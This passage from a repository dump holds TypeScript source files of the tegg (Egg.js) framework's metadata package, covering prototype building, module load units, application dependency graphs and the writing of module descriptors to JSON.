InjectConstructor): EggPrototype {\n    const propertyQualifiers = QualifierUtil.getProperQualifiers(this.clazz, injectObject.refName);\n    const multiInstancePropertyQualifiers = this.properQualifiers[injectObject.refName as string] ?? [];\n    return EggPrototypeFactory.instance.getPrototype(\n      injectObject.objName,\n      this.loadUnit,\n      QualifierUtil.mergeQualifiers(propertyQualifiers, multiInstancePropertyQualifiers, [\n        {\n          attribute: InitTypeQualifierAttribute,\n          value: this.initType,\n        },\n      ]),\n    );\n  }\n\n  private findInjectObjectPrototype(injectObject: InjectObject | InjectConstructor): EggPrototype {\n    const propertyQualifiers = QualifierUtil.getProperQualifiers(this.clazz, injectObject.refName);\n    try {\n      return this.tryFindDefaultPrototype(injectObject);\n    } catch (e) {\n      if (\n        !(\n          e instanceof MultiPrototypeFound &&\n          !propertyQualifiers.find((t) => t.attribute === InitTypeQualifierAttribute)\n        )\n      ) {\n        throw e;\n      }\n    }\n    try {\n      return this.tryFindContextPrototype(injectObject);\n    } catch (e) {\n      if (!(e instanceof EggPrototypeNotFound)) {\n        throw e;\n      }\n    }\n    return this.tryFindSelfInitTypePrototype(injectObject);\n  }\n\n  public build(): EggPrototype {\n    const injectObjectProtos: Array<InjectObjectProto | InjectConstructorProto> = [];\n    for (const injectObject of this.injectObjects) {\n      const propertyQualifiers = QualifierUtil.getProperQualifiers(this.clazz, injectObject.refName);\n      try {\n        const proto = this.findInjectObjectPrototype(injectObject);\n        let injectObjectProto: InjectObjectProto | InjectConstructorProto;\n        if (this.injectType === InjectType.PROPERTY) {\n          injectObjectProto = {\n            refName: injectObject.refName,\n            objName: injectObject.objName,\n            qualifiers: propertyQualifiers,\n            proto,\n          };\n        } else {\n          injectObjectProto = {\n            refIndex: (injectObject as InjectConstructor).refIndex,\n            refName: injectObject.refName,\n            objName: injectObject.objName,\n            qualifiers: propertyQualifiers,\n            proto,\n          };\n        }\n        if (injectObject.optional) {\n          injectObject.optional = true;\n        }\n        injectObjectProtos.push(injectObjectProto);\n      } catch (e) {\n        if (e instanceof EggPrototypeNotFound && injectObject.optional) {\n          continue;\n        }\n        throw e;\n      }\n    }\n    const id = IdenticalUtil.createProtoId(this.loadUnit.id, this.name);\n    return new EggPrototypeImpl(\n      id,\n      this.name,\n      this.clazz,\n      this.filepath,\n      this.initType,\n      this.accessLevel,\n      injectObjectProtos,\n      this.loadUnit.id,\n      this.qualifiers,\n      this.className,\n      this.injectType,\n      this.multiInstanceConstructorIndex,\n      this.multiInstanceConstructorAttributes,\n    );\n  }\n}\n\nEggPrototypeCreatorFactory.registerPrototypeCreator(DEFAULT_PROTO_IMPL_TYPE, EggPrototypeBuilder.create);\n"
  },
  {
    "path": "tegg/core/metadata/src/impl/EggPrototypeImpl.ts",
    "content": "import { InjectType, MetadataUtil, type QualifierAttribute } from '@eggjs/core-decorator';\nimport type {\n  AccessLevel,\n  EggProtoImplClass,\n  EggPrototype,\n  EggPrototypeName,\n  Id,\n  InjectConstructorProto,\n  InjectObjectProto,\n  MetaDataKey,\n  ObjectInitTypeLike,\n  QualifierInfo,\n  QualifierValue,\n} from '@eggjs/tegg-types';\n\nexport class EggPrototypeImpl implements EggPrototype {\n  private readonly clazz: EggProtoImplClass;\n  private readonly qualifiers: QualifierInfo[];\n  readonly filepath: string;\n\n  readonly id: string;\n  readonly name: EggPrototypeName;\n  readonly initType: ObjectInitTypeLike;\n  readonly accessLevel: AccessLevel;\n  readonly injectObjects: Array<InjectObjectProto | InjectConstructorProto>;\n  readonly injectType: InjectType;\n  readonly loadUnitId: Id;\n  readonly className?: string;\n  readonly multiInstanceConstructorIndex?: number;\n  readonly multiInstanceConstructorAttributes?: QualifierAttribute[];\n  [key: symbol]: PropertyDescriptor;\n\n  constructor(\n    id: string,\n    name: EggPrototypeName,\n    clazz: EggProtoImplClass,\n    filepath: string,\n    initType: ObjectInitTypeLike,\n    accessLevel: AccessLevel,\n    injectObjectMap: Array<InjectObjectProto | InjectConstructorProto>,\n    loadUnitId: Id,\n    qualifiers: QualifierInfo[],\n    className?: string,\n    injectType?: InjectType,\n    multiInstanceConstructorIndex?: number,\n    multiInstanceConstructorAttributes?: QualifierAttribute[],\n  ) {\n    this.id = id;\n    this.clazz = clazz;\n    this.name = name;\n    this.filepath = filepath;\n    this.initType = initType;\n    this.accessLevel = accessLevel;\n    this.injectObjects = injectObjectMap;\n    this.loadUnitId = loadUnitId;\n    this.qualifiers = qualifiers;\n    this.className = className;\n    this.injectType = injectType || InjectType.PROPERTY;\n    this.multiInstanceConstructorIndex = multiInstanceConstructorIndex;\n    this.multiInstanceConstructorAttributes = multiInstanceConstructorAttributes;\n  }\n\n  verifyQualifiers(qualifiers: QualifierInfo[]): boolean {\n    for (const qualifier of qualifiers) {\n      if (!this.verifyQualifier(qualifier)) {\n        return false;\n      }\n    }\n    return true;\n  }\n\n  verifyQualifier(qualifier: QualifierInfo): boolean {\n    const selfQualifiers = this.qualifiers.find((t) => t.attribute === qualifier.attribute);\n    return selfQualifiers?.value === qualifier.value;\n  }\n\n  getQualifier(attribute: string): QualifierValue | undefined {\n    return this.qualifiers.find((t) => t.attribute === attribute)?.value;\n  }\n\n  constructEggObject(...args: any): object {\n    return Reflect.construct(this.clazz, args);\n  }\n\n  getMetaData<T>(metadataKey: MetaDataKey): T | undefined {\n    return MetadataUtil.getMetaData(metadataKey, this.clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/impl/LoadUnitMultiInstanceProtoHook.ts",
    "content": "import { PrototypeUtil } from '@eggjs/core-decorator';\nimport type { EggProtoImplClass, LifecycleHook, LoadUnit, LoadUnitLifecycleContext } from '@eggjs/tegg-types';\n\nexport class LoadUnitMultiInstanceProtoHook implements LifecycleHook<LoadUnitLifecycleContext, LoadUnit> {\n  static multiInstanceClazzSet: Set<EggProtoImplClass> = new Set();\n\n  static setAllClassList(clazzList: readonly EggProtoImplClass[]): void {\n    for (const clazz of clazzList) {\n      if (PrototypeUtil.isEggMultiInstancePrototype(clazz)) {\n        this.multiInstanceClazzSet.add(clazz);\n      }\n    }\n  }\n\n  static clear(): void {\n    this.multiInstanceClazzSet.clear();\n  }\n\n  async preCreate(): Promise<void> {\n    // ...\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/impl/ModuleLoadUnit.ts",
    "content": "import assert from 'node:assert';\nimport { readFileSync } from 'node:fs';\nimport path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport { PrototypeUtil, QualifierUtil } from '@eggjs/core-decorator';\nimport { FrameworkErrorFormatter } from '@eggjs/errors';\nimport { IdenticalUtil, LifecycleUtil } from '@eggjs/lifecycle';\nimport { Graph, GraphNode, MapUtil } from '@eggjs/tegg-common-util';\nimport {\n  EggLoadUnitType,\n  type GraphNodeObj,\n  InitTypeQualifierAttribute,\n  type ObjectInitTypeLike,\n} from '@eggjs/tegg-types';\nimport type {\n  EggProtoImplClass,\n  EggPrototype,\n  EggPrototypeName,\n  LoadUnit,\n  LoadUnitLifecycleContext,\n  QualifierInfo,\n} from '@eggjs/tegg-types';\n\nimport { MultiPrototypeFound } from '../errors.ts';\nimport { EggPrototypeFactory, LoadUnitFactory, EggPrototypeCreatorFactory } from '../factory/index.ts';\nimport { ClassProtoDescriptor, GlobalGraph } from '../model/index.ts';\n\nconst debug = debuglog('tegg/core/metadata/impl/ModuleLoadUnit');\n\nlet id = 0;\n\n// TODO del ModuleGraph in next major version\nclass ProtoNode implements GraphNodeObj {\n  readonly clazz: EggProtoImplClass;\n  readonly name: EggPrototypeName;\n  readonly id: string;\n  readonly qualifiers: QualifierInfo[];\n  readonly initType: ObjectInitTypeLike;\n  private PrototypeUtil: any;\n\n  constructor(\n    clazz: EggProtoImplClass,\n    objName: EggPrototypeName,\n    initType: ObjectInitTypeLike,\n    qualifiers: QualifierInfo[],\n  ) {\n    this.name = objName;\n    this.id = '' + id++;\n    this.clazz = clazz;\n    this.qualifiers = qualifiers;\n    this.initType = initType;\n  }\n\n  verifyQualifiers(qualifiers: QualifierInfo[]): boolean {\n    for (const qualifier of qualifiers) {\n      if (!this.verifyQualifier(qualifier)) {\n        return false;\n      }\n    }\n    return true;\n  }\n\n  verifyQualifier(qualifier: QualifierInfo): boolean {\n    const selfQualifiers = this.qualifiers.find((t) => t.attribute === qualifier.attribute);\n    return selfQualifiers?.value === qualifier.value;\n  }\n\n  toString(): string {\n    return `${this.clazz.name}@${this.PrototypeUtil.getFilePath(this.clazz)}`;\n  }\n}\n\nexport class ModuleGraph {\n  private graph: Graph<ProtoNode>;\n  clazzList: EggProtoImplClass[];\n  readonly unitPath: string;\n  readonly name: string;\n\n  constructor(clazzList: EggProtoImplClass[], unitPath: string, name: string) {\n    this.clazzList = clazzList;\n    this.graph = new Graph<ProtoNode>();\n    this.unitPath = unitPath;\n    this.name = name;\n    debug(\n      'ModuleGraph constructor on moduleName: %o, unitPath: %o, clazzList size: %o',\n      this.name,\n      this.unitPath,\n      this.clazzList.length,\n    );\n  }\n\n  private findInjectNode(\n    objName: EggPrototypeName,\n    qualifiers: QualifierInfo[],\n    parentInitTye: ObjectInitTypeLike,\n  ): GraphNode<ProtoNode> | undefined {\n    let nodes = Array.from(this.graph.nodes.values())\n      .filter((t) => t.val.name === objName)\n      .filter((t) => t.val.verifyQualifiers(qualifiers));\n    if (nodes.length === 0) {\n      return undefined;\n    }\n    if (nodes.length === 1) {\n      return nodes[0];\n    }\n\n    const initTypeQualifier = {\n      attribute: InitTypeQualifierAttribute,\n      value: parentInitTye,\n    };\n\n    nodes = nodes.filter((t) => t.val.verifyQualifiers([initTypeQualifier]));\n    if (nodes.length === 1) {\n      return nodes[0];\n    }\n\n    const temp: Map<EggProtoImplClass, GraphNode<ProtoNode>> = new Map();\n    for (const node of nodes) {\n      temp.set(node.val.clazz, node);\n    }\n    nodes = Array.from(temp.values());\n    if (nodes.length === 1) {\n      return nodes[0];\n    }\n\n    const result = nodes.map((node) => node.val.toString());\n    throw FrameworkErrorFormatter.formatError(\n      new MultiPrototypeFound(String(objName), qualifiers, JSON.stringify(result)),\n    );\n  }\n\n  async build(): Promise<void> {\n    const protoGraphNodes: GraphNode<ProtoNode>[] = [];\n    for (const clazz of this.clazzList) {\n      if (PrototypeUtil.isEggMultiInstancePrototype(clazz)) {\n        const properties = await PrototypeUtil.getMultiInstanceProperty(clazz, {\n          unitPath: this.unitPath,\n          moduleName: this.name,\n        });\n        if (properties) {\n          const qualifiers = QualifierUtil.getProtoQualifiers(clazz);\n          for (const obj of properties.objects || []) {\n            const instanceQualifiers = [...qualifiers, ...obj.qualifiers];\n            protoGraphNodes.push(\n              new GraphNode(new ProtoNode(clazz, obj.name, properties.initType, instanceQualifiers)),\n            );\n          }\n        }\n      } else {\n        const qualifiers = QualifierUtil.getProtoQualifiers(clazz);\n        const property = PrototypeUtil.getProperty(clazz);\n        if (property) {\n          protoGraphNodes.push(new GraphNode(new ProtoNode(clazz, property.name, property.initType, qualifiers)));\n        }\n      }\n    }\n    for (const node of protoGraphNodes) {\n      if (!this.graph.addVertex(node)) {\n        throw new Error(`duplicate proto: ${node.val.id}`);\n      }\n    }\n    for (const node of protoGraphNodes) {\n      if (PrototypeUtil.isEggMultiInstancePrototype(node.val.clazz)) {\n        const property = await PrototypeUtil.getMultiInstanceProperty(node.val.clazz, {\n          moduleName: this.name,\n          unitPath: this.unitPath,\n        });\n        for (const objectInfo of property?.objects || []) {\n          const injectObjects = PrototypeUtil.getInjectObjects(node.val.clazz);\n          for (const injectObject of injectObjects) {\n            const qualifiers = [\n              ...QualifierUtil.getProperQualifiers(node.val.clazz, injectObject.refName),\n              ...(objectInfo.properQualifiers?.[injectObject.refName] ?? []),\n            ];\n            const injectNode = this.findInjectNode(injectObject.objName, qualifiers, node.val.initType);\n            // If not found maybe in other module\n            if (injectNode) {\n              this.graph.addEdge(node, injectNode);\n            }\n          }\n        }\n      } else {\n        const injectObjects = PrototypeUtil.getInjectObjects(node.val.clazz);\n        for (const injectObject of injectObjects) {\n          const qualifiers = QualifierUtil.getProperQualifiers(node.val.clazz, injectObject.refName);\n          const injectNode = this.findInjectNode(injectObject.objName, qualifiers, node.val.initType);\n          // If not found maybe in other module\n          if (injectNode) {\n            this.graph.addEdge(node, injectNode);\n          }\n        }\n      }\n    }\n  }\n\n  sort(): void {\n    const loopPath = this.graph.loopPath();\n    if (loopPath) {\n      throw new Error('proto has recursive deps: ' + loopPath);\n    }\n    const clazzSet = new Set<EggProtoImplClass>();\n    for (const clazz of this.graph.sort()) {\n      clazzSet.add(clazz.val.clazz);\n    }\n    this.clazzList = Array.from(clazzSet);\n  }\n}\n\nexport class ModuleLoadUnit implements LoadUnit {\n  // private loader: Loader;\n  private protoMap: Map<EggPrototypeName, EggPrototype[]> = new Map();\n  private protos: ClassProtoDescriptor[];\n  private clazzList: EggProtoImplClass[];\n\n  readonly id: string;\n  readonly name: string;\n  readonly unitPath: string;\n  readonly type: EggLoadUnitType = EggLoadUnitType.MODULE;\n\n  get globalGraph(): GlobalGraph {\n    return GlobalGraph.instance!;\n  }\n\n  constructor(name: string, unitPath: string) {\n    this.id = IdenticalUtil.createLoadUnitId(name);\n    this.name = name;\n    this.unitPath = unitPath;\n    debug('ModuleLoadUnit constructor on moduleName: %o, unitPath: %o, id: %o', this.name, this.unitPath, this.id);\n  }\n\n  private doLoadClazz() {\n    const protos = this.globalGraph.moduleProtoDescriptorMap.get(this.name);\n    if (protos) {\n      // TODO ModuleLoadUnit should support all proto descriptor\n      this.protos = protos!.filter((t) => ClassProtoDescriptor.isClassProtoDescriptor(t));\n      this.clazzList = this.protos.map((t) => t.clazz);\n    } else {\n      this.protos = [];\n      this.clazzList = [];\n    }\n    debug(\n      'doLoadClazz on moduleName: %o, protos size: %o, clazzList size: %o',\n      this.name,\n      this.protos.length,\n      this.clazzList.length,\n    );\n  }\n\n  private loadClazz() {\n    if (!this.clazzList) {\n      this.doLoadClazz();\n    }\n  }\n\n  async preLoad(): Promise<void> {\n    this.loadClazz();\n    for (const protoClass of this.clazzList) {\n      // TODO refactor lifecycle hook to ProtoDescriptor or EggPrototype\n      // ModuleLoadUnit should not use clazz list\n      const fnName = LifecycleUtil.getStaticLifecycleHook('preLoad', protoClass);\n      if (fnName) {\n        const lifecycleHook = Reflect.get(protoClass, fnName);\n        if (typeof lifecycleHook === 'function') {\n          await lifecycleHook();\n        }\n        // TODO(@fengmk2): lifecycleHook is not a function should throw error\n      }\n    }\n  }\n\n  async init(): Promise<void> {\n    this.loadClazz();\n    for (const protoDescriptor of this.protos) {\n      const proto = await EggPrototypeCreatorFactory.createProtoByDescriptor(protoDescriptor, this);\n      EggPrototypeFactory.instance.registerPrototype(proto, this);\n    }\n  }\n\n  containPrototype(proto: EggPrototype): boolean {\n    return !!this.protoMap.get(proto.name)?.find((t) => t === proto);\n  }\n\n  getEggPrototype(name: string, qualifiers: QualifierInfo[]): EggPrototype[] {\n    const protos = this.protoMap.get(name);\n    return protos?.filter((proto) => proto.verifyQualifiers(qualifiers)) || [];\n  }\n\n  registerEggPrototype(proto: EggPrototype): void {\n    const protoList = MapUtil.getOrStore(this.protoMap, proto.name, []);\n    protoList.push(proto);\n  }\n\n  deletePrototype(proto: EggPrototype): void {\n    const protos = this.protoMap.get(proto.name);\n    if (protos) {\n      const index = protos.indexOf(proto);\n      if (index !== -1) {\n        protos.splice(index, 1);\n      }\n    }\n  }\n\n  async destroy(): Promise<void> {\n    for (const namedProtoMap of this.protoMap.values()) {\n      for (const proto of namedProtoMap.slice()) {\n        EggPrototypeFactory.instance.deletePrototype(proto, this);\n      }\n    }\n    this.protoMap.clear();\n  }\n\n  iterateEggPrototype(): IterableIterator<EggPrototype> {\n    const protos: EggPrototype[] = Array.from(this.protoMap.values()).reduce((p, c) => {\n      p = p.concat(c);\n      return p;\n    }, []);\n    return protos.values();\n  }\n\n  static createModule(ctx: LoadUnitLifecycleContext): ModuleLoadUnit {\n    const pkgPath = path.join(ctx.unitPath, 'package.json');\n    const pkg: { eggModule?: { name: string } } = JSON.parse(readFileSync(pkgPath, 'utf-8'));\n    assert(pkg.eggModule, `module config not found in package ${pkgPath}`);\n    const { name } = pkg.eggModule;\n    return new ModuleLoadUnit(name, ctx.unitPath);\n  }\n}\n\nLoadUnitFactory.registerLoadUnitCreator(EggLoadUnitType.MODULE, ModuleLoadUnit.createModule);\n"
  },
  {
    "path": "tegg/core/metadata/src/impl/index.ts",
    "content": "export * from './EggPrototypeBuilder.ts';\nexport * from './EggPrototypeImpl.ts';\nexport * from './LoadUnitMultiInstanceProtoHook.ts';\nexport * from './ModuleLoadUnit.ts';\n"
  },
  {
    "path": "tegg/core/metadata/src/index.ts",
    "content": "export * from '@eggjs/tegg-types/metadata';\n\nexport * from './factory/index.ts';\nexport * from './model/index.ts';\nexport * from './errors.ts';\nexport * from './util/index.ts';\nexport * from './impl/index.ts';\n"
  },
  {
    "path": "tegg/core/metadata/src/model/AppGraph.ts",
    "content": "import assert from 'node:assert';\nimport util from 'node:util';\n\nimport { PrototypeUtil, QualifierUtil } from '@eggjs/core-decorator';\nimport { Graph, GraphNode, ModuleConfigUtil } from '@eggjs/tegg-common-util';\nimport {\n  AccessLevel,\n  INIT_TYPE_TRY_ORDER,\n  InitTypeQualifierAttribute,\n  LoadUnitNameQualifierAttribute,\n} from '@eggjs/tegg-types';\nimport type {\n  EggProtoImplClass,\n  EggPrototypeName,\n  GraphNodeObj,\n  ModuleReference,\n  QualifierInfo,\n} from '@eggjs/tegg-types';\n\nexport interface InstanceClazzMeta {\n  name: PropertyKey;\n  qualifiers: QualifierInfo[];\n  properQualifiers: Record<PropertyKey, QualifierInfo[]>;\n  accessLevel: AccessLevel;\n  instanceModule: GraphNode<ModuleNode>;\n  ownerModule: GraphNode<ModuleNode>;\n}\n\nexport type ClazzMetaMap = Record<EggPrototypeName, InstanceClazzMeta[]>;\n\nfunction verifyQualifier(clazzQualifiers: QualifierInfo[], qualifier: QualifierInfo) {\n  const selfQualifiers = clazzQualifiers.find((t) => t.attribute === qualifier.attribute);\n  return selfQualifiers?.value === qualifier.value;\n}\n\nfunction verifyQualifiers(clazzQualifiers: QualifierInfo[], qualifiers: QualifierInfo[]) {\n  for (const qualifier of qualifiers) {\n    if (!verifyQualifier(clazzQualifiers, qualifier)) {\n      return false;\n    }\n  }\n  return true;\n}\n\nexport class ClazzMap {\n  private clazzMap: ClazzMetaMap;\n  private graph: Graph<ModuleNode>;\n\n  constructor(graph: Graph<ModuleNode>) {\n    this.graph = graph;\n  }\n\n  async build(): Promise<void> {\n    const graph = this.graph;\n    /**\n     * 1. iterate all module get all MultiInstanceClazz\n     * 2. iterate MultiInstanceClazz and all module get object meta\n     * 3. iterate object meta and build clazz map\n     */\n    const clazzMap: ClazzMetaMap = {};\n    for (const ownerNode of graph.nodes.values()) {\n      for (const clazz of ownerNode.val.getClazzList()) {\n        const qualifiers = QualifierUtil.getProtoQualifiers(clazz);\n        if (PrototypeUtil.isEggMultiInstancePrototype(clazz)) {\n          for (const instanceNode of graph.nodes.values()) {\n            const property = await PrototypeUtil.getMultiInstanceProperty(clazz, {\n              unitPath: instanceNode.val.moduleConfig.path,\n              moduleName: instanceNode.val.moduleConfig.name,\n            });\n            assert(property, `multi instance property not found for ${clazz.name}`);\n            for (const info of property.objects) {\n              const instanceQualifiers = [...qualifiers, ...info.qualifiers];\n              clazzMap[info.name] = clazzMap[info.name] || [];\n              clazzMap[info.name].push({\n                name: info.name,\n                accessLevel: (await PrototypeUtil.getAccessLevel(clazz, {\n                  unitPath: instanceNode.val.moduleConfig.path,\n                  moduleName: instanceNode.val.moduleConfig.name,\n                })) as AccessLevel,\n                qualifiers: instanceQualifiers,\n                properQualifiers: info.properQualifiers || {},\n                instanceModule: instanceNode,\n                ownerModule: ownerNode,\n              });\n            }\n          }\n        } else {\n          const property = PrototypeUtil.getProperty(clazz);\n          assert(property, `property not found for ${clazz.name}`);\n          clazzMap[property.name] = clazzMap[property.name] || [];\n          clazzMap[property.name].push({\n            name: property.name,\n            accessLevel: (await PrototypeUtil.getAccessLevel(clazz, {\n              unitPath: ownerNode.val.moduleConfig.path,\n              moduleName: ownerNode.val.moduleConfig.name,\n            })) as AccessLevel,\n            qualifiers,\n            properQualifiers: {},\n            ownerModule: ownerNode,\n            instanceModule: ownerNode,\n          });\n        }\n      }\n    }\n    this.clazzMap = clazzMap;\n  }\n\n  findDependencyModule(\n    objName: EggPrototypeName,\n    properQualifiers: QualifierInfo[],\n    intoModule: GraphNode<ModuleNode>,\n  ): GraphNode<ModuleNode>[] {\n    const result: Set<GraphNode<ModuleNode>> = new Set();\n    const objInfo = this.clazzMap[objName];\n    if (!objInfo) {\n      return [];\n    }\n    let mayObjs = objInfo.filter((obj) => {\n      // 1. check accessLevel\n      if (obj.instanceModule !== intoModule && obj.accessLevel === AccessLevel.PRIVATE) {\n        return false;\n      }\n      // 2. check qualifier\n      return verifyQualifiers(obj.qualifiers, properQualifiers);\n    });\n\n    // 3. auto set init type qualifier\n    if (mayObjs.length > 1) {\n      const initTypeQualifiers = INIT_TYPE_TRY_ORDER.map((type) => ({\n        attribute: InitTypeQualifierAttribute,\n        value: type,\n      }));\n      for (const initTypeQualifier of initTypeQualifiers) {\n        const mayInitTypeObjs = mayObjs.filter((obj) => {\n          return verifyQualifiers(obj.qualifiers, [...properQualifiers, initTypeQualifier]);\n        });\n        if (mayInitTypeObjs.length > 0) {\n          mayObjs = mayInitTypeObjs;\n        }\n      }\n    }\n\n    // 4. auto set load unit name qualifier\n    if (mayObjs.length > 1) {\n      const moduleNameQualifiers = {\n        attribute: LoadUnitNameQualifierAttribute,\n        value: intoModule.val.name,\n      };\n      const mayLoadUnitNameObjs = mayObjs.filter((obj) => {\n        return verifyQualifiers(obj.qualifiers, [...properQualifiers, moduleNameQualifiers]);\n      });\n      if (mayLoadUnitNameObjs.length > 0) {\n        mayObjs = mayLoadUnitNameObjs;\n      }\n    }\n\n    if (mayObjs.length > 1) {\n      const message = util.format(\n        'multi class found for %s@%o in module %j',\n        objName,\n        properQualifiers,\n        mayObjs.map((t) => {\n          return t.instanceModule.val.moduleConfig.path;\n        }),\n      );\n      throw new Error(message);\n    }\n\n    for (const obj of mayObjs) {\n      result.add(obj.instanceModule);\n      // result.add(obj.ownerModule);\n    }\n    return Array.from(result);\n  }\n}\n\nexport class ModuleNode implements GraphNodeObj {\n  readonly id: string;\n  readonly name: string;\n  readonly moduleConfig: ModuleReference;\n  private readonly clazzList: EggProtoImplClass[];\n\n  constructor(moduleConfig: ModuleReference) {\n    this.moduleConfig = moduleConfig;\n    this.id = moduleConfig.path;\n    this.name = ModuleConfigUtil.readModuleNameSync(moduleConfig.path);\n    this.clazzList = [];\n  }\n\n  async addClazz(clazz: EggProtoImplClass): Promise<void> {\n    if (!this.clazzList.includes(clazz)) {\n      this.clazzList.push(clazz);\n    }\n    if (!PrototypeUtil.isEggMultiInstancePrototype(clazz)) {\n      const initTypeQualifierAttributeValue = await PrototypeUtil.getInitType(clazz, {\n        unitPath: this.moduleConfig.path,\n        moduleName: this.moduleConfig.name,\n      });\n      const defaultQualifier = [\n        {\n          attribute: InitTypeQualifierAttribute,\n          value: initTypeQualifierAttributeValue!,\n        },\n        {\n          attribute: LoadUnitNameQualifierAttribute,\n          value: this.name,\n        },\n      ];\n      for (const qualifier of defaultQualifier) {\n        QualifierUtil.addProtoQualifier(clazz, qualifier.attribute, qualifier.value);\n      }\n    }\n  }\n\n  toString() {\n    return `${this.name}@${this.moduleConfig.path}`;\n  }\n\n  getClazzList(): readonly EggProtoImplClass[] {\n    return this.clazzList;\n  }\n}\n\nexport class AppGraph {\n  private graph: Graph<ModuleNode>;\n  private clazzMap: ClazzMap;\n  moduleConfigList: Array<ModuleReference>;\n\n  constructor() {\n    this.graph = new Graph<ModuleNode>();\n  }\n\n  addNode(moduleNode: ModuleNode): void {\n    if (!this.graph.addVertex(new GraphNode(moduleNode))) {\n      throw new Error(`duplicate module: ${moduleNode}`);\n    }\n  }\n\n  getClazzList(): readonly EggProtoImplClass[] {\n    const clazzSet = new Set<EggProtoImplClass>();\n    for (const node of this.graph.nodes.values()) {\n      for (const clazz of node.val.getClazzList()) {\n        clazzSet.add(clazz);\n      }\n    }\n    return Array.from(clazzSet);\n  }\n\n  async build(): Promise<void> {\n    this.clazzMap = new ClazzMap(this.graph);\n    await this.clazzMap.build();\n\n    // 1. iterate all modules\n    for (const node of this.graph.nodes.values()) {\n      // 2. iterate all class\n      for (const clazz of node.val.getClazzList()) {\n        const injectObjects = PrototypeUtil.getInjectObjects(clazz);\n        // 3. iterate all inject objects\n        for (const injectObject of injectObjects) {\n          if (PrototypeUtil.isEggMultiInstancePrototype(clazz)) {\n            for (const instanceNode of this.graph.nodes.values()) {\n              const property = await PrototypeUtil.getMultiInstanceProperty(clazz, {\n                unitPath: instanceNode.val.moduleConfig.path,\n                moduleName: instanceNode.val.moduleConfig.name,\n              });\n              for (const info of property?.objects || []) {\n                const properQualifiers = [\n                  ...QualifierUtil.getProperQualifiers(clazz, injectObject.refName),\n                  ...(info.properQualifiers?.[injectObject.refName] ?? []),\n                ];\n                // 4. find dependency module\n                const dependencyModules = this.clazzMap.findDependencyModule(\n                  injectObject.objName,\n                  properQualifiers,\n                  node,\n                );\n                for (const moduleNode of dependencyModules) {\n                  // 5. add edge\n                  if (instanceNode !== moduleNode) {\n                    this.graph.addEdge(instanceNode, moduleNode);\n                  }\n                }\n              }\n            }\n          } else {\n            const properQualifiers = [...QualifierUtil.getProperQualifiers(clazz, injectObject.refName)];\n            // 4. find dependency module\n            const dependencyModules = this.clazzMap.findDependencyModule(injectObject.objName, properQualifiers, node);\n            for (const moduleNode of dependencyModules) {\n              // 5. add edge\n              if (node !== moduleNode) {\n                this.graph.addEdge(node, moduleNode);\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n\n  sort(): void {\n    const loopPath = this.graph.loopPath();\n    if (loopPath) {\n      throw new Error('module has recursive deps: ' + loopPath);\n    }\n    this.moduleConfigList = this.graph\n      .sort()\n      .filter((t) => {\n        return t.val.moduleConfig.optional !== true || t.fromNodeMap.size > 0;\n      })\n      .map((t) => t.val.moduleConfig);\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/model/EggPrototype.ts",
    "content": "import { LifecycleUtil } from '@eggjs/lifecycle';\nimport type { EggPrototype, EggPrototypeLifecycleContext } from '@eggjs/tegg-types';\n\nexport const EggPrototypeLifecycleUtil: LifecycleUtil<EggPrototypeLifecycleContext, EggPrototype> = new LifecycleUtil();\n"
  },
  {
    "path": "tegg/core/metadata/src/model/LoadUnit.ts",
    "content": "import { LifecycleUtil } from '@eggjs/lifecycle';\nimport type { LoadUnit, LoadUnitLifecycleContext } from '@eggjs/tegg-types';\n\nexport const LoadUnitLifecycleUtil: LifecycleUtil<LoadUnitLifecycleContext, LoadUnit> = new LifecycleUtil();\n"
  },
  {
    "path": "tegg/core/metadata/src/model/ModuleDescriptor.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { PrototypeUtil } from '@eggjs/core-decorator';\nimport { type EggProtoImplClass, type ProtoDescriptor } from '@eggjs/tegg-types';\n\nconst DUMP_PATH = process.env.MODULE_DUMP_PATH;\n\nexport interface ModuleDescriptor {\n  name: string;\n  unitPath: string;\n  optional?: boolean;\n  clazzList: EggProtoImplClass[];\n  multiInstanceClazzList: EggProtoImplClass[];\n  protos: ProtoDescriptor[];\n}\n\nexport interface ModuleDumpOptions {\n  dumpDir?: string;\n}\n\nexport class ModuleDescriptorDumper {\n  static stringifyDescriptor(moduleDescriptor: ModuleDescriptor): string {\n    return (\n      '{' +\n      `\"name\": \"${moduleDescriptor.name}\",` +\n      `\"unitPath\": \"${moduleDescriptor.unitPath}\",` +\n      (typeof moduleDescriptor.optional !== 'undefined' ? `\"optional\": ${moduleDescriptor.optional},` : '') +\n      `\"clazzList\": [${moduleDescriptor.clazzList\n        .map((t) => {\n          return ModuleDescriptorDumper.stringifyClazz(t, moduleDescriptor);\n        })\n        .join(',')}],` +\n      `\"multiInstanceClazzList\": [${moduleDescriptor.multiInstanceClazzList\n        .map((t) => {\n          return ModuleDescriptorDumper.stringifyClazz(t, moduleDescriptor);\n        })\n        .join(',')}],` +\n      `\"protos\": [${moduleDescriptor.protos\n        .map((t) => {\n          return JSON.stringify(t);\n        })\n        .join(',')}]` +\n      '}'\n    );\n  }\n\n  static stringifyClazz(clazz: EggProtoImplClass, moduleDescriptor: ModuleDescriptor): string {\n    return (\n      '{' +\n      `\"name\": \"${clazz.name}\",` +\n      (PrototypeUtil.getFilePath(clazz)\n        ? `\"filePath\": \"${path.relative(moduleDescriptor.unitPath, PrototypeUtil.getFilePath(clazz)!)}\"`\n        : '') +\n      '}'\n    );\n  }\n\n  static dumpPath(desc: ModuleDescriptor, options?: ModuleDumpOptions): string {\n    const dumpDir = DUMP_PATH ?? options?.dumpDir ?? desc.unitPath;\n    return path.join(dumpDir, '.egg', `${desc.name}_module_desc.json`);\n  }\n\n  static async dump(desc: ModuleDescriptor, options?: ModuleDumpOptions): Promise<void> {\n    const dumpPath = ModuleDescriptorDumper.dumpPath(desc, options);\n    await fs.mkdir(path.dirname(dumpPath), { recursive: true });\n    await fs.writeFile(dumpPath, ModuleDescriptorDumper.stringifyDescriptor(desc));\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/model/ProtoDescriptor/AbstractProtoDescriptor.ts",
